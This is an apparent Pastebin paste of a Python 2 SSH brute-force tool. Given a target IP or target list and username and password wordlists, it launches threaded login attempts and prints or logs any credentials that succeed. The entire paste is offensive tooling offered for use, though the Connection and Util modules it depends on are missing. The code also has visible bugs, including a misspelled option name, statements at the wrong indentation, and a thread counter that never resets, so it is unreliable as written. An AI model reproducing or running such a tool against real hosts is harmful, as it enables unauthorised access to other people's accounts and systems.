Advertisement
Guest User

Untitled

a guest
Oct 14th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.65 KB | None | 0 0
  1.  
  2. import sys
  3. from optparse import OptionParser
  4.  
  5. #Import the Util Class
  6. import Util
  7. #Import the connection class
  8. from Connection import Connection
  9.  
  10. class SSHBruteForce():
  11.  
  12.     def __init__(self):
  13.         self.info = "Simple SSH Brute Forcer: By Gand0lf"
  14.         self.targetIp = ""
  15.         self.targetPort = 0
  16.         self.targets = []
  17.         self.usernames = []
  18.         self.passwords = []
  19.         self.connections = []
  20.         self.amountOfThreads = 0
  21.         self.currentThreadCount = 0
  22.         self.timeoutTime = 0
  23.         self.outputFileName = ""
  24.         self.singleMode = False
  25.         self.verbose = False
  26.        
  27.     def startUp(self):
  28.         usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
  29.        
  30.         optionParser = OptionParser(version = self.info, usage = usage)
  31.  
  32.         optionParser.add_option('-i', dest = 'targetIp',
  33.                                 help = 'Ip to attack')
  34.         optionParser.add_option('-p', dest = 'targetPort',
  35.                                 help = 'Ip port to attack', default = 22)
  36.         optionParser.add_option('-I', dest = 'targetsFile',
  37.                                 help = 'List of IP\'s and ports')
  38.         optionParser.add_option('-U', dest = 'usernamesFile',
  39.                                 help = 'Username List file')
  40.         optionParser.add_option('-P', dest = 'passwordsFile',
  41.                                 help = 'Password List file')
  42.         optionParser.add_option('-t', type = 'int', dest = 'threads',
  43.                                 help = 'Amount of Threads', default = 10)
  44.         optionParser.add_option('-T', type = 'int', dest = 'timeout',
  45.                                 help = 'Timeout Time', default = 15)
  46.         optionParser.add_option('-O', dest = "outputFile",
  47.                                 help = 'Output File Name')
  48.         optionParser.add_option('-v', '--verbose', action='store_true',
  49.                                 dest='verbose', help='verbose')
  50.  
  51.         (options, args) = optionParser.parse_args()
  52.  
  53.         #First a check is used to see if there is at least a singleIp set or a targetList set
  54.         if not options.targetIp and not options.targetsFile:
  55.             optionParser.print_help()
  56.             sys.exit(1)
  57.            
  58.         else:
  59.             #Then another check to make sure the Username list and passwordlist are filled
  60.             if options.usernamesFile and options.passwordsFile:
  61.                 #Then we check if it is a single ip only
  62.                 if options.targetIp and not options.targetsFile:
  63.                     self.singleTarget(options)
  64.                     self.singleMode = True
  65.                 elif not options.targetIp and options.targetsFilet:
  66.                     self.multipleTargets(options)
  67.                 else:
  68.                     optionParser.print_help()
  69.                     sys.exit(1)
  70.             else:
  71.                 optionParser.print_help()
  72.                 sys.exit(1)
  73.            
  74.     def singleTarget(self,options):
  75.             self.targetIp = options.targetIp
  76.             self.targetPort = options.targetPort
  77.             self.usernames = Util.fileContentsToList(options.usernamesFile)
  78.             self.passwords = Util.fileContentsToList(options.passwordsFile)
  79.             self.amountOfThreads = options.threads
  80.             self.timeoutTime = options.timeout
  81.             self.outputFileName = options.outputFile
  82.             self.verbose = options.verbose
  83.             self.showStartInfo()
  84.             self.bruteForceSingle()
  85.  
  86.     def multipleTargets(self,options):
  87.             self.targets = Util.fileContentsToTuple(options.targetsFile)
  88.             self.usernames = Util.fileContentsToList(options.usernamesFile)
  89.             self.passwords = Util.fileContentsToList(options.passwordsFile)
  90.             self.amountOfThreads = options.threads
  91.             self.timeoutTime = options.timeout
  92.             self.outputFileName = options.outputFile
  93.             self.verbose = options.verbose
  94.             self.showStartInfo()
  95.             self.bruteForceMultiple()
  96.        
  97.     def showStartInfo(self):
  98.         print "[*] %s " % self.info
  99.         if self.singleMode:
  100.             print "[*] Brute Forcing %s " % self.targetIp
  101.         else:
  102.             print "[*] Loaded %s Targets " % str(len(self.targets))
  103.         print "[*] Loaded %s Usernames " % str(len(self.usernames))
  104.         print "[*] Loaded %s Passwords " % str(len(self.passwords))
  105.         print "[*] Brute Force Starting "
  106.        
  107.         if self.outputFileName != "":
  108.             Util.appendLineToFile("%s " % self.info, self.outputFileName)
  109.             if self.singleMode:
  110.                 Util.appendLineToFile("Brute Forcing %s " % self.targetIp, self.outputFileName)
  111.             else:
  112.                 Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)), self.outputFileName)
  113.             Util.appendLineToFile("Loaded %s Usernames " % str(len(self.usernames)), self.outputFileName)
  114.             Util.appendLineToFile("Loaded %s Passwords " % str(len(self.passwords)), self.outputFileName)
  115.             Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
  116.  
  117.     def bruteForceSingle(self):
  118.         for username in self.usernames:
  119.             for password in self.passwords:
  120.                 self.createConnection(username, password, self.targetIp,
  121.                                       self.targetPort, self.timeoutTime)
  122.                 if self.currentThreadCount == self.amountOfThreads:
  123.                     self.currentThreadResults()
  124. self.currentThreadResults()
  125. self.completed()
  126.                    
  127.     def bruteForceMultiple(self):
  128.         for target in self.targets:
  129.             for username in self.usernames:
  130.                 for password in self.passwords:
  131.                     self.createConnection(username, password, target[0],
  132.                                           int(target[1]), self.timeoutTime)
  133.                     if self.currentThreadCount == self.amountOfThreads:
  134.                         self.currentThreadResults()
  135. self.currentThreadResults()
  136. self.completed()
  137.        
  138.     def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  139.         connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  140.         connection.start()
  141.         self.connections.append(connection)
  142.         self.currentThreadCount += 1
  143.         if self.verbose:
  144.             print "[*] Adding Target: %s, Testing with username: %s, testing with password: %s" % targetIp, username, password
  145.        
  146.     def currentThreadResults(self):
  147.         for connection in self.connections:
  148.             connection.join()
  149.             if connection.status == 'Succeeded':
  150.                 print "[#] TargetIp: %s " % connection.targetIp
  151.                 print "[#] Username: %s " % connection.username
  152.                 print "[#] Password: %s " % connection.password
  153.                
  154.                 if self.outputFileName != "":
  155.                     Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
  156.                     Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
  157.                     Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
  158.                    
  159.                 if self.singleMode:
  160.                     self.completed()
  161.             else:
  162.                 pass
  163.    
  164.         self.clearOldThreads()
  165.  
  166.     def clearOldThreads(self):
  167.         self.connections = []
  168.         self.threadCount = 0
  169.    
  170.     def completed(self):
  171.         print "[*] Completed Brute Force."
  172.         sys.exit(0)
  173.        
  174. if __name__ == '__main__':
  175.     sshBruteForce = SSHBruteForce()
  176.     sshBruteForce.startUp()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement